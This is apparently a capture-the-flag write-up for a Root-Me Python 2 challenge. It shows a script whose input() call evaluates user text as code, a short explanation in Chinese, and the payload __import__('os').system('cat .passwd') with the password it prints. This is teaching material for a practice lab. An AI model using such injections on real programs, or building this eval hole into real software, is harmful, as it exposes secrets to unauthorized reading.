LINK:https://www.root-me.org/en/Challenges/App-Script/Python-input
Reference:https://blog.51cto.com/12332766/2299894?cid=729687
SourceCode:
#!/usr/bin/python2
import sys
def youLose():
print "Try again ;-)"
sys.exit(1)
try:
p = input("Please enter password : ")
except:
youLose()
with open(".passwd") as f:
passwd = f.readline().strip()
try:
if (p == int(passwd)):
print "Well done ! You can validate with this password !"
except:
youLose()
input()函數產生漏洞的原因:
python2中,此函數會將stdin輸入的內容當做python代碼去執行(就像執行計算式3+2一樣,將其看做python代碼,通過計算返回結果)
import():是python中的內置函數,同語法import 相同,都是調用模塊
system()就是os模塊中的方法,此方法用來調用系統命令
exploit: __import__('os').system('cat .passwd')
app-script-ch6@challenge02:~$ ./setuid-wrapper
Please enter password : __import__('os').system('cat .passwd')
13373439872909134298363103573901
